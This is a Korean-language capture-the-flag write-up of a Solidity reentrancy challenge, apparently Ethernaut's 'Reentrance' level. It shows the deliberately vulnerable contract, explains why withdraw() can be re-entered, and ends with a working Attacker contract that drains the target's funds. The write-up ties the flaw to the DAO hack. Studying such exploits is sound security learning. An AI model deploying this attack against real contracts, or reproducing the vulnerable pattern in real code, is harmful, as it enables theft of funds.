// SPDX-License-Identifier: MIT
pragma solidity ^0.6.12;
import 'openzeppelin-contracts-06/math/SafeMath.sol';
contract Reentrance {
using SafeMath for uint256;
mapping(address => uint) public balances;
function donate(address _to) public payable {
balances[_to] = balances[_to].add(msg.value);
}
function balanceOf(address _who) public view returns (uint balance) {
return balances[_who];
}
function withdraw(uint _amount) public {
if(balances[msg.sender] >= _amount) {
(bool result,) = msg.sender.call{value:_amount}("");
if(result) {
_amount;
}
balances[msg.sender] -= _amount;
}
}
receive() external payable {}
}
우리의 mission은 컨트랙트의 모든 자금을 훔치는 것이다.
제목부터가 재진입이다.
코드를 보면 donate로 기부를 하고 balanceOf로 기부한 사람들의 기부 금액을 확인할 수 있다.
그리고 withdraw() 함수로 출금을 한다.
이 문제는 withdraw() 함수에 Vulnerability가 존재한다.
함수를 잘 살펴보면 먼저 balances[msg.sende] 즉 함수를 호출한 주소의 잔액을 확인한다. 그래서 잔액이 입력한 값보다 크면 ether를 받고 잔액을 감소한다. 전체적인 부분에서 봤을 때는 별 문제없다.
잔액을 확인하고 돈을 상대에게 주고 난 후 차감한다. 이런 흐름이다. 하지만 컨트랙트랑 상호작용하는 것을 살펴보면 다르다.
컨트랙트의 흐름을 그림으로 나타내면 User가 contract한테 withdraw() 함수를 호출하면 if문으로 확인하고 만족하면 call로 _amount만큼 준다. 그리고 callback이 오면 balances[msg.sender]가 _amount만큼 감소한다.
callback이 오면 잔액을 차감한다는 점을 유심히 봐야 하는 데 user가 돈을 받은 시점에서는 contract의 잔액이 감소되지 않았다. 그러면 receive함수에서 다시 withdraw()함수를 호출하면 어떻게 될까??
contract에 있는 balances[msg.sender]는 차감되지 않지만 계속해서 _amount를 user에게 준다.
언제까지?? contract의 금액이 0이 될 때까지..
그러면 hacker의 잔액은 계속 추가되고 contract의 잔액은 계속 감소한다.
contract Attacker{
Reentrance reentrance;
constructor(address payable _address) public {
reentrance = Reentrance(_address);
}
function attack() public payable {
reentrance.donate{value : msg.value}(address(this));
reentrance.withdraw(msg.value);
}
receive() external payable {
reentrance.withdraw(0.001 ether);
}
}
코드를 작성하고 attack를 하면 문제가 풀린다.
이 문제는 제일 유명한 사건 DAO의 해킹 사건을 재구성한 문제이다.